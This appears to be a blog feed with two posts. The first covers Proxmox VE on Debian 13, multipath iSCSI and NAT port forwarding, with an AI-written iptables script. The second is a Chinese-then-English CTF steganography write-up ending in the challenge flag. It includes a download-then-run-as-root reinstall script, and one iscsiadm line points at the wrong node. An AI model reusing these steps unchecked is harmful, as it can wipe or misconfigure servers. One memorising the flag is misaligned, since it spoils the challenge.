到此, 虚拟机就已经能实现上网了, 只需要安装的时候配置静态地址为192.168.100.0/24内的地址, 默认网关设置为192.168.100.1, 并配置DNS地址即可.

端口转发

~~懒了, 直接拷打AI~~

让AI写了个配置脚本/usr/local/bin/natmgr:

#!/bin/bash

# =================配置区域=================
# 公网网卡名称 (请根据实际情况修改)
PUB_IF="ens6f0"
# =========================================

ACTION=$1
ARG1=$2
ARG2=$3
ARG3=$4
ARG4=$5

# 检查是否为 root 用户
if [ "$EUID" -ne 0 ]; then
  echo "请使用 root 权限运行此脚本"
  exit 1
fi

# 生成随机 ID (6位字符)
generate_id() {
    # 引入纳秒和随机盐以确保即使脚本执行速度很快，ID也不会重复
    echo "$RANDOM $(date +%s%N)" | md5sum | head -c 6
}

# 显示帮助信息
usage() {
    echo "用法: $0 {add|del|list|save} [参数]"
    echo ""
    echo "命令:"
    echo "  add <公网端口> <内网IP> <内网端口> [协议]   添加转发规则"
    echo "      [协议] 可选: tcp, udp, both (默认: both)"
    echo "  del <ID>                                   通过 ID 删除转发规则"
    echo "  list                                       查看当前所有转发规则"
    echo "  save                                       保存当前规则，使其在重启后仍然存在 (必须运行!)"
    echo ""
    echo "示例:"
    echo "  $0 add 8080 192.168.100.101 80 both"
    echo "  $0 save"
    echo ""
}

# 内部函数：添加单条协议规则
_add_single_rule() {
    local PROTO=$1
    local L_PORT=$2
    local T_IP=$3
    local T_PORT=$4

    local RULE_ID=$(generate_id)
    local COMMENT="NAT_ID:${RULE_ID}"

    # 1. 添加 DNAT 规则 (PREROUTING 链)
    iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment "$COMMENT"

    # 2. 添加 FORWARD 规则 (允许数据包通过)
    iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment "$COMMENT" -j ACCEPT

    # 输出结果
    printf "%-10s %-10s %-10s %-20s %-10s\n" "$RULE_ID" "$PROTO" "$L_PORT" "$T_IP:$T_PORT" "成功"
    
    # 提醒用户保存
    echo "请运行 '$0 save' 命令以确保规则在重启后仍然存在。"
}

# 主添加函数
add_rule() {
    local L_PORT=$1
    local T_IP=$2
    local T_PORT=$3
    local PROTO_REQ=${4:-both} # 默认为 both

    if [[ -z "$L_PORT" || -z "$T_IP" || -z "$T_PORT" ]]; then
        echo "错误: 参数缺失"
        usage
        exit 1
    fi

    # 转换为小写
    PROTO_REQ=$(echo "$PROTO_REQ" | tr '[:upper:]' '[:lower:]')

    echo "正在添加规则..."
    printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "协议" "公网端口" "目标地址" "状态"
    echo "------------------------------------------------------------------"

    if [[ "$PROTO_REQ" == "tcp" ]]; then
        _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT"
    elif [[ "$PROTO_REQ" == "udp" ]]; then
        _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT"
    elif [[ "$PROTO_REQ" == "both" ]]; then
        _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT"
        _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT"
    else
        echo "错误: 不支持的协议 '$PROTO_REQ'。请使用 tcp, udp 或 both。"
        exit 1
    fi
    echo "------------------------------------------------------------------"
}

# 删除规则 (基于行号倒序删除)
del_rule() {
    local RULE_ID=$1

    if [[ -z "$RULE_ID" ]]; then
        echo "错误: 请提供规则 ID"
        usage
        exit 1
    fi

    echo "正在搜索 ID 为 [${RULE_ID}] 的规则..."
    
    local FOUND=0

    # --- 清理 NAT 表 (PREROUTING) ---
    LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn)
    if [[ ! -z "$LINES" ]]; then
        for line in $LINES; do
            iptables -t nat -D PREROUTING $line
            echo "已删除 NAT 表 PREROUTING 链第 $line 行"
            FOUND=1
        done
    fi

    # --- 清理 Filter 表 (FORWARD) ---
    LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn)
    if [[ ! -z "$LINES" ]]; then
        for line in $LINES; do
            iptables -t filter -D FORWARD $line
            echo "已删除 Filter 表 FORWARD 链第 $line 行"
            FOUND=1
        done
    fi

    if [[ $FOUND -eq 0 ]]; then
        echo "未找到 ID 为 $RULE_ID 的规则。"
    else
        echo "删除操作完成。"
        echo "请运行 '$0 save' 命令以更新持久化配置文件。"
    fi
}

# 保存规则到磁盘 (新增功能)
save_rules() {
    echo "正在保存当前的 iptables 规则..."
    # netfilter-persistent 是 Debian/Proxmox 中管理 iptables-persistent 的服务
    if command -v netfilter-persistent &> /dev/null; then
        netfilter-persistent save
        if [ $? -eq 0 ]; then
            echo "✅ 规则已成功保存到 /etc/iptables/rules.v4，将在系统重启后自动恢复。"
        else
            echo "❌ 规则保存失败。请检查 'netfilter-persistent' 服务状态。"
        fi
    else
        echo "警告: 未找到 'netfilter-persistent' 命令。"
        echo "请确保已安装 'iptables-persistent' 软件包。"
        echo "安装命令: apt update && apt install iptables-persistent"
    fi
}

# 列出规则
list_rules() {
    echo "当前端口转发规则列表:"
    printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "协议" "公网端口" "目标地址" "目标端口"
    echo "------------------------------------------------------------------"

    # 解析 iptables 输出
    iptables -t nat -nL PREROUTING -v | grep "NAT_ID:" | while read line; do
        id=$(echo "$line" | grep -oP '(?<=NAT_ID:)[^ ]*')
        
        # 提取协议
        if echo "$line" | grep -q "tcp"; then proto="tcp"; else proto="udp"; fi
        
        # 提取 dpt: 之后的端口
        l_port=$(echo "$line" | grep -oP '(?<=dpt:)[0-9]+')
        
        # 提取 to: 之后的 IP:Port
        target=$(echo "$line" | grep -oP '(?<=to:).*')
        t_ip=${target%:*}
        t_port=${target#*:}

        printf "%-10s %-10s %-10s %-20s %-10s\n" "$id" "$proto" "$l_port" "$t_ip" "$t_port"
    done
}

# 主逻辑
case "$ACTION" in
    add)
        add_rule "$ARG1" "$ARG2" "$ARG3" "$ARG4"
        ;;
    del)
        del_rule "$ARG1"
        ;;
    list)
        list_rules
        exit 0
        ;;
    save)
        save_rules
        ;;
    *)
        usage
        exit 1
        ;;
esac
save_rules

让其自动添加/删除iptables规则实现端口转发. 记得chmod +x

通过iptables-persistent实现保存配置开机自动加载:

apt install iptables-persistent

配置过程中会询问是否需要保存当前规则，Yes或者No都可以。

添加转发规则时使用natmgr add <主机监听地址> <虚拟机内网IP> <虚拟机端口> [tcp/udp/both]即可, 脚本会自动分配一个唯一ID, 删除时使用natmgr del <ID>即可. 也可使用natmgr list查看已有转发列表.

参考文章:

An Experience of Manually Installing Proxmox VE, Configuring Multipath iSCSI, and NAT Forwarding

Sat, 29 Nov 2025 09:39:00 GMT

The reason was that I rented a physical server, but the IDC did not provide Proxmox VE or Debian system images, only Ubuntu, CentOS, and Windows series. Additionally, the data disk was provided via multipath iSCSI. I wanted to use PVE for isolating different usage scenarios, so I attempted to reinstall the system and migrate the aforementioned configurations.

Backup Configuration

First, perform a general check of the system, which reveals:

The system has two Network Interfaces: enp24s0f0 is connected to a public IP address for external access; enp24s0f1 is connected to the private network address 192.168.128.153.
The data disk is mapped to /dev/mapper/mpatha.
Under /etc/iscsi, there are configurations for two iSCSI Nodes: 192.168.128.250:3260 and 192.168.128.252:3260, both corresponding to the same target iqn.2024-12.com.ceph:iscsi. It can be inferred that the data disk is mounted by configuring two iSCSI Nodes and then merging them into a single device using multipath.

Check the system's network configuration:

network:
  version: 2
  renderer: networkd
  ethernets:
    enp24s0f0:
      addresses: [211.154.[REDACTED]/24]
      routes:
        - to: default
          via: [REDACTED]
      match:
          macaddress: ac:1f:6b:0b:e2:d4
      set-name: enp24s0f0
      nameservers:
        addresses:
          - 114.114.114.114
          - 8.8.8.8
    enp24s0f1:
      addresses:
        - 192.168.128.153/17
      match:
        macaddress: ac:1f:6b:0b:e2:d5
      set-name: enp24s0f1

It's found to be very simple static routing. The internal network interface doesn't even have a default route; just binding the IP is sufficient.

Then, save the iSCSI configuration files from /etc/iscsi, which include account and password information.

Reinstall Debian

Used the bin456789/reinstall script for this reinstallation. Download the script:

curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_

Reinstall as Debian 13 (Trixie):

bash reinstall.sh debian 13

Then, enter the password you want to set as prompted.

If all goes well, wait about 10 minutes, and it will automatically complete and reinstall into a clean Debian 13. You can connect via SSH during the process using the set password to check the installation progress.

After reinstalling, perform a source change and apt upgrade as usual to get a clean Debian 13. For changing sources, directly refer to the USTC Mirror Site tutorial.

Install Proxmox VE

This step mainly refers to the Proxmox official tutorial.

Note: The Debian installed by the above script sets the hostname to localhost. If you want to change it, please modify it before configuring the Hostname and change the hostname in hosts to your modified hostname, not localhost.

Configure Hostname

Proxmox VE requires the current hostname to be resolvable to a non-loopback IP address:

The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like 127.0.0.1 but one that you and other hosts can connect to.

For example, my server IP is 211.154.[CENSORED], I need to add the following record in /etc/hosts:

127.0.0.1       localhost
+211.154.[CENSORED] localhost
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

After saving, use hostname --ip-address to check if it outputs the set non-loopback address: ::1 127.0.0.1 211.154.[CENSORED].

Add Proxmox VE Software Repository

Debian 13 uses the Deb822 format ~~(though you can use sources.list if you want)~~, so just refer to the USTC Proxmox Mirror Site:

cat > /etc/apt/sources.list.d/pve-no-subscription.sources <<EOF
Types: deb
URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve
Suites: trixie
Components: pve-no-subscription
Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg
EOF

Here, a keyring needs to be migrated ~~but I couldn't find one after searching online~~, so I chose to pull a copy from an existing Proxmox VE server. It's available here: proxmox-keyrings.zip Extract the public key file and place it in /usr/share/keyrings/, then run:

apt update
apt upgrade -y

This will sync the Proxmox VE software repository.

Install Proxmox VE Kernel

Use the following command to install the PVE kernel and reboot to apply the new kernel:

apt install proxmox-default-kernel
reboot

Afterwards, uname -r should show a kernel version ending with pve, like 6.17.2-2-pve, indicating the new kernel is successfully applied.

Install Proxmox VE Related Packages

Use apt to install the corresponding packages:

apt install proxmox-ve postfix open-iscsi chrony

During configuration, you will need to set up the postfix mail server. Official explanation:

If you have a mail server in your network, you should configure postfix as a satellite system. Your existing mail server will then be the relay host which will route the emails sent by Proxmox VE to their final recipient.
If you don't know what to enter here, choose local only and leave the system name as is.

After this, you should be able to access the Web console at https://<your server address>:8006. The account is root, and the password is your root password, i.e., the password configured during the Debian reinstallation.

Remove Old Debian Kernel and `os-prober`

Use the following commands:

apt remove linux-image-amd64 'linux-image-6.1*'
update-grub
apt remove os-prober

to remove the old Debian kernel, update grub, and remove os-prober. Removing os-prober is not mandatory, but it is recommended by the official guide because it might mistakenly identify VM boot files as multi-boot files, adding incorrect entries to the boot list.

At this point, the installation of Proxmox VE is complete and ready for normal use!

Configuring Internal Network Interface

Because the iSCSI network interface and the public network interface are different, and the reinstallation lost this configuration, the internal network interface needs to be manually configured. Open the Proxmox VE Web interface, go to Datacenter - localhost (hostname) - Network, edit the internal network interface (e.g., ens6f1 here), enter the backed-up IPv4 in CIDR format: 192.168.128.153/17, and check Autostart, then save. Then use the command to set the interface state to UP:

ip link set ens6f1 up

Now you should be able to ping the internal iSCSI server's IP.

Configure Data Disk

iSCSI

In the previous step, we should have installed the open-iscsi package required for iscsiadm. We just need to reset the nodes according to the backed-up configuration.

First, discover the iSCSI storage:

iscsiadm -m discovery -t st -p 192.168.128.250:3260

This should yield the two original LUN Targets:

192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi
192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi

Transfer the backed-up configuration files to the server, overwriting the existing configuration in /etc/iscsi. Also, in my backed-up config, I found the authentication configuration:

# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # Some unimportant configurations omitted
node.session.auth.authmethod = CHAP
node.session.auth.username = [CENSORED]
node.session.auth.password = [CENSORED]
node.session.auth.chap_algs = MD5
... # Some unimportant configurations omitted

# /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default
# BEGIN RECORD 2.1.5
node.name = iqn.2024-12.com.ceph:iscsi
... # Some unimportant configurations omitted
node.session.auth.authmethod = CHAP
node.session.auth.username = [CENSORED]
node.session.auth.password = [CENSORED]
node.session.auth.chap_algs = MD5
... # Some unimportant configurations omitted

Write these configurations to the new system using:

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [CENSORED]
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5

(I don't know why the auth info needs to be written separately, but testing shows it won't log in without rewriting it.)

Then, use:

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login

to log into the Targets. Then use:

iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic
iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic

to enable automatic mounting on boot.

At this point, checking disks with tools like lsblk should reveal two additional hard drives; in my case, sdb and sdc appeared.

Configure Multipath

To identify if it's a multipath device, I tried:

/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb
/usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc

Checking the scsi_id of the two disk devices revealed they were identical, confirming they are the same disk using multi-path for load balancing and failover.

Install multipath-tools using apt:

apt install multipath-tools

Then, create /etc/multipath.conf and add:

defaults {
    user_friendly_names yes
    find_multipaths yes
}

Configure multipathd to start on boot:

systemctl start multipathd
systemctl enable multipathd

Then, use the following command to scan and automatically configure the multipath device:

multipath -ll

It should output:

mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device
size=500G features='1 queue_if_no_path' hwhandler='1 alua'wp=rw
|-+- policy='service-time 0' prio=50 status=active
| `- 14:0:0:152 sdb 8:16 active ready running
`-+- policy='service-time 0' prio=50 status=active
  `- 14:0:0:152 sdc 8:16 active ready running

This shows the two disks have been recognized as a single multipath device. Now, you can find the multipath disk under /dev/mapper/:

root@localhost:/dev/mapper# ls
control  mpatha

mpatha is the multipath aggregated disk.

If it's not scanned, try using:

rescan-scsi-bus.sh

to rescan the SCSI bus and try again. If the command is not found, install it via apt install sg3-utils. ~~If all else fails, just reboot.~~

Configure Proxmox VE to Use the Data Disk

Because we used multipath, we cannot directly add an iSCSI type storage. Use the following commands to create the PV and VG:

pvcreate /dev/mapper/mpatha
vgcreate <vg name> /dev/mapper/mpatha

Here, I configured the entire disk as a PV. You could also create a separate partition for this.

After completion, open the Proxmox VE management interface, go to Datacenter - Storage, click Add - LVM, select the name of the VG you just created for Volume group, give it an ID (name), and click Add.

At this point, all configurations from the original system should have been migrated.

Configure NAT and Port Forwarding

NAT

Because only one IPv4 address was purchased, NAT needs to be configured to allow all VMs to access the internet normally. Open /etc/network/interfaces and add the following content:

auto vmbr0
iface vmbr0 inet static
    address   192.168.100.1
    netmask   255.255.255.0
    bridge_ports none
    bridge_stp off
    bridge_fd 0

    post-up   echo 1 > /proc/sys/net/ipv4/ip_forward
    post-up   iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-up   iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1
    post-up   iptables -A FORWARD -i vmbr0 -j ACCEPT
    post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE
    post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1
    post-down iptables -D FORWARD -i vmbr0 -j ACCEPT

Here, vmbr0 is the NAT bridge, with the IP segment 192.168.100.0/24. Traffic from this segment will be translated to the IP of the external network interface ens6f0 for outgoing traffic, and translated back to the original IP upon receiving replies, enabling IP sharing.

Then, use:

ifreload -a

to reload the configuration.

Now, the VMs should be able to access the internet. Just configure a static IP within the 192.168.100.0/24 range during installation, set the default gateway to 192.168.100.1, and configure the DNS address.

Port Forwarding

~~Got lazy, directly prompted an AI.~~

Had an AI write a configuration script /usr/local/bin/natmgr:

#!/bin/bash

# =================Configuration Area=================
# Public network interface name (Please modify according to your actual situation)
PUB_IF="ens6f0"
# ====================================================

ACTION=$1
ARG1=$2
ARG2=$3
ARG3=$4
ARG4=$5

# Check if running as root
if [ "$EUID" -ne 0 ]; then
  echo "Please run this script with root privileges"
  exit 1
fi

# Generate random ID (6 characters)
generate_id() {
    # Introduce nanoseconds and random salt to ensure ID uniqueness even if the script runs quickly
    echo "$RANDOM $(date +%s%N)" | md5sum | head -c 6
}

# Show help information
usage() {
    echo "Usage: $0 {add|del|list|save} [parameters]"
    echo ""
    echo "Commands:"
    echo "  add <Public Port> <Internal IP> <Internal Port> [Protocol]   Add forwarding rule"
    echo "      [Protocol] optional: tcp, udp, both (default: both)"
    echo "  del <ID>                                   Delete forwarding rule by ID"
    echo "  list                                       View all current forwarding rules"
    echo "  save                                       Save current rules to persist after reboot (Must run!)"
    echo ""
    echo "Examples:"
    echo "  $0 add 8080 192.168.100.101 80 both"
    echo "  $0 save"
    echo ""
}

# Internal function: add single protocol rule
_add_single_rule() {
    local PROTO=$1
    local L_PORT=$2
    local T_IP=$3
    local T_PORT=$4

    local RULE_ID=$(generate_id)
    local COMMENT="NAT_ID:${RULE_ID}"

    # 1. Add DNAT rule (PREROUTING chain)
    iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment "$COMMENT"

    # 2. Add FORWARD rule (Allow packet passage)
    iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment "$COMMENT" -j ACCEPT

    # Output result
    printf "%-10s %-10s %-10s %-20s %-10s\n" "$RULE_ID" "$PROTO" "$L_PORT" "$T_IP:$T_PORT" "Success"
    
    # Remind user to save
    echo "Please run '$0 save' to ensure rules persist after reboot."
}

# Main add function
add_rule() {
    local L_PORT=$1
    local T_IP=$2
    local T_PORT=$3
    local PROTO_REQ=${4:-both} # Default to both

    if [[ -z "$L_PORT" || -z "$T_IP" || -z "$T_PORT" ]]; then
        echo "Error: Missing parameters"
        usage
        exit 1
    fi

    # Convert to lowercase
    PROTO_REQ=$(echo "$PROTO_REQ" | tr '[:upper:]' '[:lower:]')

    echo "Adding rule..."
    printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "Protocol" "Public Port" "Target Address" "Status"
    echo "------------------------------------------------------------------"

    if [[ "$PROTO_REQ" == "tcp" ]]; then
        _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT"
    elif [[ "$PROTO_REQ" == "udp" ]]; then
        _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT"
    elif [[ "$PROTO_REQ" == "both" ]]; then
        _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT"
        _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT"
    else
        echo "Error: Unsupported protocol '$PROTO_REQ'. Please use tcp, udp, or both."
        exit 1
    fi
    echo "------------------------------------------------------------------"
}

# Delete rule (Delete in reverse line number order)
del_rule() {
    local RULE_ID=$1

    if [[ -z "$RULE_ID" ]]; then
        echo "Error: Please provide rule ID"
        usage
        exit 1
    fi

    echo "Searching for rule with ID [${RULE_ID}]..."
    
    local FOUND=0

    # --- Clean NAT table (PREROUTING) ---
    LINES=$(iptables -t nat -nL PREROUTING --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn)
    if [[ ! -z "$LINES" ]]; then
        for line in $LINES; do
            iptables -t nat -D PREROUTING $line
            echo "Deleted NAT table PREROUTING chain line $line"
            FOUND=1
        done
    fi

    # --- Clean Filter table (FORWARD) ---
    LINES=$(iptables -t filter -nL FORWARD --line-numbers | grep "NAT_ID:${RULE_ID}" | awk '{print $1}' | sort -rn)
    if [[ ! -z "$LINES" ]]; then
        for line in $LINES; do
            iptables -t filter -D FORWARD $line
            echo "Deleted Filter table FORWARD chain line $line"
            FOUND=1
        done
    fi

    if [[ $FOUND -eq 0 ]]; then
        echo "No rule found with ID $RULE_ID."
    else
        echo "Delete operation completed."
        echo "Please run '$0 save' to update the persistent configuration file."
    fi
}

# Save rules to disk (New feature)
save_rules() {
    echo "Saving current iptables rules..."
    # netfilter-persistent is the service managing iptables-persistent in Debian/Proxmox
    if command -v netfilter-persistent &> /dev/null; then
        netfilter-persistent save
        if [ $? -eq 0 ]; then
            echo "✅ Rules successfully saved to /etc/iptables/rules.v4, will be automatically restored after system reboot."
        else
            echo "❌ Failed to save rules. Please check the status of the 'netfilter-persistent' service."
        fi
    else
        echo "Warning: 'netfilter-persistent' command not found."
        echo "Please ensure the 'iptables-persistent' package is installed."
        echo "Install command: apt update && apt install iptables-persistent"
    fi
}

# List rules
list_rules() {
    echo "Current Port Forwarding Rules List:"
    printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "Protocol" "Public Port" "Target Address" "Target Port"
    echo "------------------------------------------------------------------"

    # Parse iptables output
    iptables -t nat -nL PREROUTING -v | grep "NAT_ID:" | while read line; do
        id=$(echo "$line" | grep -oP '(?<=NAT_ID:)[^ ]*')
        
        # Extract protocol
        if echo "$line" | grep -q "tcp"; then proto="tcp"; else proto="udp"; fi
        
        # Extract port after dpt:
        l_port=$(echo "$line" | grep -oP '(?<=dpt:)[0-9]+')
        
        # Extract IP:Port after to:
        target=$(echo "$line" | grep -oP '(?<=to:).*')
        t_ip=${target%:*}
        t_port=${target#*:}

        printf "%-10s %-10s %-10s %-20s %-10s\n" "$id" "$proto" "$l_port" "$t_ip" "$t_port"
    done
}

# Main logic
case "$ACTION" in
    add)
        add_rule "$ARG1" "$ARG2" "$ARG3" "$ARG4"
        ;;
    del)
        del_rule "$ARG1"
        ;;
    list)
        list_rules
        exit 0
        ;;
    save)
        save_rules
        ;;
    *)
        usage
        exit 1
        ;;
esac
save_rules

This script automatically adds/deletes iptables rules for port forwarding. Remember to chmod +x.

Use iptables-persistent to save the configuration and load it automatically on boot:

apt install iptables-persistent

During configuration, you will be asked whether to save the current rules; Yes or No is fine.

When adding a forwarding rule, use natmgr add <host listen port> <VM internal IP> <VM port> [tcp/udp/both]. The script will automatically assign a unique ID. Use natmgr del <ID> to delete. Use natmgr list to view the existing forwarding list.

Reference Articles:

2025古剑山 Misc 水果 WriteUp

Sat, 29 Nov 2025 06:02:00 GMT

通过010 editor打开文件，发现末端存在ZIP头：

提取出来，打开发现无密码，是一串base64：

5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQrov5nmoYPlrZDmgI7kuYjov5nkuYjnoawK56Gs5piv5Zug5Li65paw6bKc5L2g6KaB6L2v55qE6L+Y5piv57Ov55qECui/meilv+eTnOiDveWQg+WQl+eci+i1t+adpeacieeCueS4jeeGnwrkuI3nhp/nmoTopb/nk5zmgI7kuYjlj6/og73kvaDov5nlsLHmmK/nrYnnnYDlkIPnlJznmoQK5L2g6L+Z5p+a5a2Q6L+Z5LmI5bCPCuWwj+W3p+eahOaJjeWlveWQg+S9oOimgeWkp+S4queahOi/mOaYr+WlveWQg+eahArov5nmqZnlrZDmgI7kuYjov5nkuYjphbgK6YW45omN5piv5q2j5a6X55qE5qmZ5a2Q5L2g6KaB5piv55Sc55qE5Y675Yir5a6255yLCui/memmmeiVieacieeCueW8rwrlvK/nmoTpppnolYnmm7TnlJzkvaDkuI3mh4IK5L2g6L+Z5qKo5a2Q5piv5LiN5piv5pyJ54K556GsCuehrOaYr+WboOS4uuaWsOmynOWQg+edgOacieWPo+aEnwrov5nokaHokITmgI7kuYjov5nkuYjlsI8K5bCP55qE6JGh6JCE5pu05rWT57yp55Sc5ZGz

解码得到：

你这苹果怎么这么大
大个儿才值钱你要不要
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梨子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味

同时，发现导出的zip末端仍然有一部分未识别的数据：

根据其1A 9E 97 BA 2A可推测这是OurSecret隐写，通过OurSecret工具打开，发现需要密码。尝试发现密码就是shuiguo，可解出来一个txt：

你这柚子这么小
你这柚子这么小
你这柚子这么小
你这梨子是不是有点硬
你这柚子这么小
大个儿才值钱你要不要
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
小巧的才好吃你要大个的还是好吃的
弯的香蕉更甜你不懂
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这苹果怎么这么大
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这西瓜能吃吗看起来有点不熟
你这柚子这么小
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这柚子这么小
这西瓜能吃吗看起来有点不熟
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜吃着有口感

发现和上面解压出来的是一条条对应的。因为上面解压出来的语句是16条，推测是16进制，分别是0-f，然后将OurSecret解密出来的内容分别对应成16进制数，可得到：666c61677b33653235393630613739646263363962363734636434656336376137326336327d。编写python脚本，2个一组按照ascii转换成字符：

hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d"
ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)])
print(ascii_string)

得到Flag：flag{3e25960a79dbc69b674cd4ec67a72c62}

2025 Gujianshan Misc Fruit WriteUp

Sat, 29 Nov 2025 06:02:00 GMT

Open the file using 010 Editor and find a ZIP header at the end:

Extract it and open it to find no password, just a string of base64:

